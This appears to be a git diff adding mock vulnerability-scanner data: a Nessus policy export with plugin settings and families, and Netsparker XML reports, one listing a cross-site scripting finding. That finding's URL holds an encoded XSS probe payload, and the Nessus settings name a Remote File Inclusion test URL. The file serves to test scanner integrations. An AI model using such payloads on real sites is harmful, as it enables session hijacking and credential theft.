+Modbus/TCP Coil Access +23817 +Modbus/TCP Coil Access[entry]:Start reg : +Start reg : +entry +0 +0 + +Modbus/TCP Coil Access +23817 +Modbus/TCP Coil Access[entry]:End reg : +End reg : +entry +16 +16 + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #1 : +SCAP File (zip) #1 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #1 : +SCAP Version #1 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +SCAP Data Stream ID (1.2 only) #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #1 : +SCAP Benchmark ID #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #1 : +SCAP Profile ID #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #1 : +OVAL Result Type #1 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #2 : +SCAP File (zip) #2 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #2 : +SCAP Version #2 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +SCAP Data Stream ID (1.2 only) #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #2 : +SCAP Benchmark ID #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #2 : +SCAP Profile ID #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #2 : +OVAL Result Type #2 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #3 : +SCAP File (zip) #3 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #3 : +SCAP Version #3 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +SCAP Data Stream ID (1.2 only) #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #3 : +SCAP Benchmark ID #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #3 : +SCAP Profile ID #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #3 : +OVAL Result Type #3 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #4 : +SCAP File (zip) #4 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #4 : +SCAP Version #4 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : +SCAP Data Stream ID (1.2 only) #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #4 : +SCAP Benchmark ID #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #4 : +SCAP Profile ID #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #4 : +OVAL Result Type #4 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #5 : +SCAP File (zip) #5 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #5 : +SCAP Version #5 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +SCAP Data Stream ID (1.2 only) #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #5 : +SCAP Benchmark ID #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #5 : +SCAP Profile ID #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #5 : +OVAL Result Type #5 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #1 : +SCAP File (zip) #1 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #1 : +SCAP Version #1 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +SCAP Data Stream ID (1.2 only) #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #1 : +SCAP Benchmark ID #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #1 : +SCAP Profile ID #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #1 : +OVAL Result Type #1 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #2 : +SCAP File (zip) #2 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #2 : +SCAP Version #2 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +SCAP Data Stream ID (1.2 only) #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #2 : +SCAP Benchmark ID #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #2 : +SCAP Profile ID #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #2 : +OVAL Result Type #2 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #3 : +SCAP File (zip) #3 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #3 : +SCAP Version #3 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +SCAP Data Stream ID (1.2 only) #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #3 : +SCAP Benchmark ID #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #3 : +SCAP Profile ID #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #3 : +OVAL Result Type #3 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #4 : +SCAP File (zip) #4 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #4 : +SCAP Version #4 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : +SCAP Data Stream ID (1.2 only) #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #4 : +SCAP Benchmark ID #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #4 : +SCAP Profile ID #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #4 : +OVAL Result Type #4 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #5 : +SCAP File (zip) #5 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #5 : +SCAP Version #5 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +SCAP Data Stream ID (1.2 only) #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #5 : +SCAP Benchmark ID #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #5 : +SCAP Profile ID #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #5 : +OVAL Result Type #5 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Server : +SCCM Server : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Domain : +SCCM Domain : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Username : +SCCM Username : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[password]:SCCM Password : +SCCM Password : +password + + + +SMB Scope +10917 +SMB Scope[checkbox]:Request information about the domain +Request information about the domain +checkbox +yes +yes + +SMB Use Host SID to Enumerate Local Users +10860 +SMB Use Host SID to Enumerate Local Users[entry]:Start UID : +Start UID : +entry +1000 +1000 + +SMB Use Host SID to Enumerate Local Users +10860 +SMB Use Host SID to Enumerate Local Users[entry]:End UID : +End UID : +entry +1200 +1200 + +SMB Use Domain SID to Enumerate Users +10399 +SMB Use Domain SID to Enumerate Users[entry]:Start UID : +Start UID : +entry +1000 +1000 + +SMB Use Domain SID to Enumerate Users +10399 +SMB Use Domain SID to Enumerate Users[entry]:End UID : +End UID : +entry +1200 +1200 + +SMTP settings +11038 +SMTP settings[entry]:Third party domain : +Third party domain : +entry +example.edu +example.com + +SMTP settings +11038 +SMTP settings[entry]:From address : +From address : +entry +nobody@example.edu +nobody@example.com + +SMTP settings +11038 +SMTP settings[entry]:To address : +To address : +entry +postmaster@[AUTO_REPLACED_IP] +postmaster@[AUTO_REPLACED_IP] + +SNMP settings +19762 +SNMP settings[entry]:Community name : +Community name : +entry +public +public + +SNMP settings +19762 +SNMP settings[entry]:Community name (1) : +Community name (1) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Community name (2) : +Community name (2) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Community name (3) : +Community name (3) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:UDP port : +UDP port : +entry +161 +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (1) : +Additional UDP port (1) : +entry + +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (2) : +Additional UDP port (2) : +entry + +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (3) : +Additional UDP port (3) : +entry + +161 + +SNMP settings +19762 +SNMP settings[entry]:SNMPv3 user name : +SNMPv3 user name : +entry + + + +SNMP settings +19762 +SNMP settings[password]:SNMPv3 authentication password : +SNMPv3 authentication password : +password + + + +SNMP settings +19762 +SNMP settings[radio]:SNMPv3 authentication algorithm : +SNMPv3 authentication algorithm : +radio +MD5;SHA1 +MD5;SHA1 + +SNMP settings +19762 +SNMP settings[password]:SNMPv3 privacy password : +SNMPv3 privacy password : +password + + + +SNMP settings +19762 +SNMP settings[radio]:SNMPv3 privacy algorithm : +SNMPv3 privacy algorithm : +radio +AES;DES +AES;DES + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +SSH settings +14273 +SSH settings[entry]:SSH user name : +SSH user name : +entry +root +root + +SSH settings +14273 +SSH settings[password]:SSH password (unsafe!) : +SSH password (unsafe!) : +password + + + +SSH settings +14273 +SSH settings[file]:SSH public key to use : +SSH public key to use : +file + + + +SSH settings +14273 +SSH settings[file]:SSH private key to use : +SSH private key to use : +file + + + +SSH settings +14273 +SSH settings[password]:Passphrase for SSH key : +Passphrase for SSH key : +password + + + +SSH settings +14273 +SSH settings[radio]:Elevate privileges with : +Elevate privileges with : +radio +Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' +Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' + +SSH settings +14273 +SSH settings[entry]:Privilege elevation binary path (directory) : +Privilege elevation binary path (directory) : +entry + + + +SSH settings +14273 +SSH settings[entry]:su login : +su login : +entry + + + +SSH settings +14273 +SSH settings[entry]:Escalation account : +Escalation account : +entry +root +root + +SSH settings +14273 +SSH settings[password]:Escalation password : +Escalation password : +password + + + +SSH settings +14273 +SSH settings[file]:SSH known_hosts file : +SSH known_hosts file : +file + + + +SSH settings +14273 +SSH settings[entry]:Preferred SSH port : +Preferred SSH port : +entry +22 +22 + +SSH settings +14273 +SSH settings[entry]:Client version : +Client version : +entry +OpenSSH_5.0 +OpenSSH_5.0 + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (1) : +Additional SSH user name (1) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (1) : +Additional SSH password (1) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (2) : +Additional SSH user name (2) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (2) : +Additional SSH password (2) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (3) : +Additional SSH user name (3) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (3) : +Additional SSH password (3) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (4) : +Additional SSH user name (4) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (4) : +Additional SSH password (4) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (5) : +Additional SSH user name (5) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (5) : +Additional SSH password (5) : +password + + + +SSL Certificate Expiry +15901 +SSL Certificate Expiry[entry]:Identify certificates that expire within x days +Identify certificates that expire within x days +entry +60 +60 + +SMB Registry : Start the Registry Service during the scan +35703 +SMB Registry : Start the Registry Service during the scan[checkbox]:Start the registry service during the scan +Start the registry service during the scan +checkbox +no +no + +SMB Registry : Start the Registry Service during the scan +35703 +SMB Registry : Start the Registry Service during the scan[checkbox]:Enable administrative shares during the scan +Enable administrative shares during the scan +checkbox +no +no + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Server : +Symantec Altiris Database Server : +entry + + + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Port : +Symantec Altiris Database Port : +entry +5690 +5690 + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Name : +Symantec Altiris Database Name : +entry +Symantec_CMDB +Symantec_CMDB + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[checkbox]:Symantec Altiris Use Windows Credentials : +Symantec Altiris Use Windows Credentials : +checkbox +no +no + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Username : +Symantec Altiris Database Username : +entry + + + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[password]:Symantec Altiris Database Password : +Symantec Altiris Database Password : +password + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[entry]:VMware user name : +VMware user name : +entry + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[password]:VMware password : +VMware password : +password + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[checkbox]:Ignore SSL Certificate : +Ignore SSL Certificate : +checkbox +no +no + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter host : +VMware vCenter host : +entry + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter port : +VMware vCenter port : +entry +443 +443 + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter user name : +VMware vCenter user name : +entry + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[password]:VMware vCenter password : +VMware vCenter password : +password + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Enable web applications tests +Enable web applications tests +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[entry]:Maximum run time (min) : +Maximum run time (min) : +entry +60 +5 + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Try all HTTP methods +Try all HTTP methods +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[radio]:Combinations of arguments values +Combinations of arguments values +radio +one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow) +some pairs + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:HTTP Parameter Pollution +HTTP Parameter Pollution +checkbox +no +yes + +Web Application Tests Settings +39471 +Web Application Tests Settings[radio]:Stop at first flaw +Stop at first flaw +radio +per CGI;per port (quicker);per parameter (slow);look for all flaws (slower) +per CGI + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Test embedded web servers +Test embedded web servers +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[entry]:URL for Remote File Inclusion : +URL for Remote File Inclusion : +entry +http://rfi.nessus.org/rfi.txt +http://rfi.nessus.org/rfi.txt + +Web mirroring +10662 +Web mirroring[entry]:Number of pages to mirror : +Number of pages to mirror : +entry +1000 +1000 + +Web mirroring +10662 +Web mirroring[entry]:Maximum depth : +Maximum depth : +entry +6 +6 + +Web mirroring +10662 +Web mirroring[entry]:Start page : +Start page : +entry +/ +/ + +Web mirroring +10662 +Web mirroring[entry]:Excluded items regex : +Excluded items regex : +entry +/server_privileges\.php|logout +/server_privileges\.php|logout + +Web mirroring +10662 +Web mirroring[checkbox]:Follow dynamic pages : +Follow dynamic pages : +checkbox +no +no + +Wake-on-LAN +52616 +Wake-on-LAN[file]:List of MAC addresses for Wake-on-LAN: +List of MAC addresses for Wake-on-LAN: +file + + + +Wake-on-LAN +52616 +Wake-on-LAN[entry]:Time to wait (in minutes) for the systems to boot: +Time to wait (in minutes) for the systems to boot: +entry +5 +5 + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Additional MD5 hashes (optional) : +Additional MD5 hashes (optional) : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Known good MD5 hashes (optional) : +Known good MD5 hashes (optional) : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Yara rules file : +Yara rules file : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[checkbox]:disable_dns_resolution +disable_dns_resolution +checkbox +no +no + +Malicious Process Detection +59275 +Malicious Process Detection[checkbox]:enable_malware_scanning +enable_malware_scanning +checkbox +no +no + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Server : +WSUS Server : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Port : +WSUS Port : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Username : +WSUS Username : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[password]:WSUS Password : +WSUS Password : +password + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[checkbox]:SSL : +SSL : +checkbox +no +no + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + + + +MacOS X Local Security Checks +disabled + +Offsec Plugins Disabled +mixed + +F5 Networks Local Security Checks +disabled + +Solaris Local Security Checks +disabled + +Port scanners +mixed + +Mandriva Local Security Checks +disabled + +Debian Local Security Checks +disabled + +Denial of Service +disabled + +HP-UX Local Security Checks +disabled + +Palo Alto Local Security Checks +disabled + +VMware ESX Local Security Checks +disabled + +Oracle Linux Local Security Checks +disabled + +Red Hat Local Security Checks +disabled + +FreeBSD Local Security Checks +disabled + +Amazon Linux Local Security Checks +disabled + +Slackware Local Security Checks +disabled + +Huawei Local Security Checks +disabled + +Gentoo Local Security Checks +disabled + +Fedora Local Security Checks +disabled + +Ubuntu Local Security Checks +disabled + +Virtuozzo Local Security Checks +disabled + +Junos Local Security Checks +disabled + +SuSE Local Security Checks +disabled + +Policy Compliance +disabled + +OracleVM Local Security Checks +disabled + +CentOS Local Security Checks +disabled + +AIX Local Security Checks +disabled + +Scientific Linux Local Security Checks +disabled + +Default Unix Accounts +enabled + +General +enabled + +RPC +enabled + +Settings +enabled + +Mobile Devices +enabled + +Windows : User management +enabled + +CISCO +enabled + +Firewalls +enabled + +Service detection +enabled + +Netware +enabled + +Gain a shell remotely +enabled + +Misc. +enabled + +Databases +enabled + +SMTP problems +enabled + +Windows : Microsoft Bulletins +enabled + +SCADA +enabled + +CGI abuses +enabled + +Offsec Plugins +enabled + +FTP +enabled + +SNMP +enabled + +Incident Response +enabled + +Windows +enabled + +DNS +enabled + +Peer-To-Peer File Sharing +enabled + +Backdoors +enabled + +Web Servers +enabled + +CGI abuses : XSS +enabled + + +200015 +WebSphere Detection - Java Unserialize RCE +Offsec Plugins Disabled +enabled + +34220 +Netstat Portscanner (WMI) +Port scanners +enabled + +14274 +Nessus SNMP Scanner +Port scanners +enabled + +14272 +Netstat Portscanner (SSH) +Port scanners +enabled + +100171 +Oracle Linux 6 / 7 : ghostscript (ELSA-2017-1230) +Oracle Linux Local Security Checks +enabled + +34277 +Nessus UDP Scanner +Port scanners +disabled + +10180 +Ping the remote host +Port scanners +enabled + +10335 +Nessus TCP scanner +Port scanners +disabled + +11219 +Nessus SYN scanner +Port scanners +enabled + +200010 +VNC password bruteforce +Offsec Plugins Disabled +disabled + +1337006 +IPMI 2.0 RAKP Cipher Zero Authentication Bypass with Privileged Level (auxiliary/scanner/ipmi/ipmi_cipher_zero_privileged) +Offsec Plugins Disabled +disabled + + + + + +Fri Jan 12 15:15:40 2018 +1515766540 +false +DASPI +6 +cpe:/o:linux:linux_kernel +linux +cpe:/o:linux:linux_kernel:2.6 +general-purpose +Linux Kernel 2.6 +145.253.152.108 +? +12.34.14.1 +145.253.152.108 +www.example.org +Fri Jan 12 15:09:19 2018 + + + + + diff --git a/sechub-other/mockdata/netsparker-mockdata-green.xml b/sechub-other/mockdata/netsparker-mockdata-green.xml new file mode 100644 index 0000000000..81d81dd3ae --- /dev/null +++ b/sechub-other/mockdata/netsparker-mockdata-green.xml @@ -0,0 +1,11 @@ + + + + 77093cedf46442f90df2a7d802161177 + http://testsparker.com/ + 23/08/2017 09:43 + 00:37:27.5225347 + + + + diff --git a/sechub-other/mockdata/netsparker-mockdata-one-important-vulnerability.xml b/sechub-other/mockdata/netsparker-mockdata-one-important-vulnerability.xml new file mode 100644 index 0000000000..84f7508546 --- /dev/null +++ b/sechub-other/mockdata/netsparker-mockdata-one-important-vulnerability.xml @@ -0,0 +1,286 @@ + + + + 77093cedf46442f90df2a7d802161177 + http://testsparker.com/ + 23/08/2017 09:43 + 00:37:27.5225347 + + + + http://testsparker.com/About.aspx?hello=&apos;%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x004207)%3C/scRipt%3E + Xss + Cross-site Scripting + Important + 100 + True + Present + + A3 + 8 + 79 + 19 + 6.5.7 + 6.5.7 + 164.308(a) + + + POST + + + + + + + + + 200 + 1625,0021 + + + + + Bitcoin Web Site + + + + +
+ + +]]> + + + + + + Netsparker Cloud detected cross-site scripting, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

]]>
+ There are many different attacks that can be leveraged through the use of cross-site scripting, including:
  • Hijacking user's active session.
  • Mounting phishing attacks.
  • Intercepting data and performing man-in-the-middle attacks.
]]>
